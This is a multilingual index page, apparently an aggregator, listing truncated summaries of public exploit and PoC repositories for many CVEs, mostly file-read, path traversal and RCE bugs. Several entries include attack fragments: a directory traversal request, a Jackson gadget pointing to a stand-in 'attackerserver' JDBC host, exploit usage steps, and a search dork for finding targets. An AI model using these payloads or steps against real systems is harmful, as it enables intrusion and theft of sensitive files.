CVE-2024-32399

CVE-2024-32399 脆弱性概要 RaidenMAILD Mail Server v.4.9.4 およびそれ以前のバージョンにおけるディレクトリトラバーサル脆弱性により、リモートの攻撃者が /webeditor/ コンポーネントを介して機密情報を取得可能です。 脆弱性の種類 ディレクトリトラバーサル 製品ベンダー RaidenMAILD Mail Server 影響を受けるバージョン RaidenMAILD Mail Server = 4.9.4 概念実証 リクエスト: GET /webeditor/../../../windows/win.ini HTTP/1.1 Host:...

CVE-2024-9224

CVE-2024-9224 Hello World = 2.1.1 - 認証済み（Subscriber+）任意ファイル読み取り 説明 WordPress 用 Hello World プラグインは、バージョン 2.1.1 以前のすべてのバージョンにおいて、helloworldlyric 関数を介して任意ファイル読み取りの脆弱性の影響を受けます。これにより、Subscriber レベルのアクセス権以上を持つ認証済みの攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能になり、そのファイルには機密情報が含まれる可能性があります。 情報 Published: 2024-09-30...

CVE-2024-7135

CVE-2024-7135 Tainacan = 0.21.7 - 認証済み（購読者以上）による任意ファイル読み取りを可能にする認可の欠如 説明 WordPress用プラグインTainacanは、バージョン0.21.7までの全バージョンにおいて、'getfile'関数に対する権限チェックが欠如しているため、データへの不正アクセスに対して脆弱です。この関数はディレクトリトラバーサルに対しても脆弱です。これにより、購読者以上のアクセス権限を持つ認証済み攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能となり、そのファイルには機密情報が含まれる可能性があります。 情報 Type:...

CVE-2015-4495

CVE-2015-4495 CVE-2015-4495 / mfsa2015-78 用エクスプロイト 使い方 parsedirectorylisting 関数にロジックを追加してください。 使用方法 $ git clone https://github.com/vincd/CVE-2015-4495.git $ cd CVE-2015-4495 $ python -m SimpleHTTPServer 次に、パッチ未適用の Firefox（バージョン 39.0.3）を開きます。/ の内容を含むポップアップが表示されるはずです。 クレジット...

CVE-2018-7422

CVE-2018-7422 CVE-2018-7422 のエクスプロイト: WordPress プラグイン Site Editor 1.1.1 におけるローカルファイルインクルード T1574.008 構文 ruby ラボ環境 OffSec Proving Grounds - Readys 使用方法...

Exploit for Path Traversal in Jenkins

\ CVE-2024-23897 — Jenkins CLI Arbitrary File Read Lab \ 1...

CVE-2024-5633

CVE-2024-5633 の PoC Longse 製 LBH30FE200W カメラ、およびこのデバイスをベースにした製品は、同一ローカルネットワーク内の攻撃者に対し、いずれかのポート上で動作する未文書化のバイナリサービス CoolView への無制限のアクセスを提供します。利用可能なコマンドを知っている攻撃者は、デバイスのメモリに対して読み取り/書き込み操作を実行できます。これにより、例えば telnet ログインを回避してデバイスへの完全なアクセスを取得する可能性があります。 https://vulners.com/cve/CVE-2024-5633...

CVE-2024-50404

CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 "Qsync Central にリンク追従の脆弱性が報告されています。この脆弱性が悪用されると、ユーザーアクセスを取得したリモートの攻撃者がファイルシステムを意図しない場所にたどることができる可能性があります。" 発見日： 22 Apr...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902（F5 BIG-IP デバイス）をチェックする Python スクリプト。 使用方法 python3 CVE-2020-5902.py -i 出力例 - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! ターゲット: 127.0.0.1 I /etc/passwd 読み取り可能 PoC...

CVE-2009-0229-PoC

CVE-2009-0229-PoC CVE-2009-0229「Print Spooler Read File Vulnerability」のPoC LPE AFR（CVE-2020-1048関連） 詳細 作者: Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC日付: 2010-xx-xx 公開日: 2020-05-14（CVE-2020-1048に思い出させられた/触発された。そう、私がパーティーに遅すぎたんだ :D） TL;DR...

cve-2018-4233

CVE-2018-4233 CVE-2018-4233 のエクスプロイト、WebKit の JIT コンパイラのバグ。Safari 11.0.3 macOS 10.13.3 でテスト済み。 詳細は https://saelo.github.io/presentations/blackhatus18attackingclientsidejitcompilers.pdf を参照してください。 このエクスプロイトは、addrof および fakeobj プリミティブを構築し、その後 typed array を偽装することで任意のメモリ読み書きを実現します。詳細は...

CVE-2024-24919---Exploit-Script

CVE-2024-24919---Exploit-Script 描述 CVE-2024-24919 是 Check Point Security Gateway 设备中的一个漏洞，允许攻击者通过路径遍历漏洞未经授权访问敏感文件。此漏洞使攻击者无需身份验证即可读取目标系统中的特定文件内容。 DORK FOFA: title="Check Point SSL Network Extender" 该脚本是一个基于命令行的漏洞利用实现，用于测试目标是否受 CVE-2024-24919 影响。 功能 对受影响的目标进行漏洞利用 从目标获取敏感文件 使用自定义头部的请求 要求...

CVE-2024-1561

CVE-2024-1561 PoC スクリプト これはCVE-2024-1561用のProof of Concept（PoC）スクリプトです。 CVEの詳細なwriteupはこちらで確認してください：https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 影響を受けるバージョン：Gradio 4.12.0 これはこのPR（https://github.com/gradio-app/gradio/pull/6884）で修正され、バージョン4.13.0でリリースされました。 使用方法 1...

CVE-2022-35650

CVE-2022-35650 これはMoodleにおける任意のファイル読み取りです。 前提条件 教師または管理者レベルのユーザーを侵害している必要があります。 手順 1. このリポジトリをクローンします: git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git 2. 次のコマンドでエクスプロイトをzipに圧縮します zip exploit.zip imsmanifest.xml pool.dat 3. 自分のアカウントに書き込みアクセス権があるコースに移動します。 4. 「Question Bank」に移動します。 5...

nftables-oob-read-write-exploit-CVE-2023-35001-

nftables oob 読み取り/書き込みエクスプロイト CVE-2023-35001 pwn2own Vancouver 2023 で Ubuntu デスクトップに対して使用されたエクスプロイトです。このエクスプロイトは、イベント開始時点で利用可能だったカーネルバージョン 5.19.0-35 をサポートしています。 必要条件 C コンパイラ Go コンパイラ 使用方法 Build $ make Run $ ./exploit これにより、ターゲット上で展開可能な lpe.zip ファイルが生成されます。アーカイブ内には以下の 2 つのバイナリが含まれています。 wrapper :...

CVE-2024-41628

CVE-2024-41628 Redshift Cyber Security によって開発された、ClusterControl の LFI 脆弱性 CVE-2024-41628 を悪用するためのシンプルなエクスプロイトスクリプトです。 この脆弱性は CMON API、特にデフォルトでそれぞれポート 9500 と 9501 で動作する RPC および RPC-TLS ユーザーインターフェースに影響します。 ClusterControl は通常 root として実行されるため、任意のシステムファイルを取得できます。 取得可能なファイルの例: /etc/shadow /etc/passwd...

CVE-2019-12086

ドキュメント説明 CVE-2019-12086 Jackson のデシリアライゼーション 脆弱性の悪用 1. 悪意のあるMySQLサーバーを起動： python roguemysqlserver.py 2. 同じディレクトリで mysql.log を確認： tail -f mysql.log 3. 脆弱性のあるアプリケーションに以下のJSONを送信： "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson...

CVE-2025-1094-Exploit

CVE-2025-1094: WebSocket経由のSQLインジェクションからRCEへ 🚀 このリポジトリには、CVE-2025-1094 （PostgreSQLの脆弱性）の概念実証（PoC）エクスプロイトが含まれています。この脆弱性により、WebSocketハイジャッキングを通じてSQLインジェクション（SQLi）攻撃をリモートコード実行（RCE）にエスカレーションできます。 概要...

CVE-2021-38819

CVE-2021-38819...

CVE-2023-5808

CVE-2023-5808 CVE-2023-5808は、日立NAS（HNAS）の System Management Unit （SMU）のBackup & Restore機能に見られる 安全でない直接オブジェクト参照 （IDOR ）の脆弱性です。この脆弱性は、14.8.7825.01より前のSMUバージョンに影響します。 悪用 このエクスプロイトでは、攻撃者がRead-OnlyまたはGlobal Administrator以外のユーザーアカウントの認証情報を制御している必要があります。つまり： Storage Administrator Server Administrator...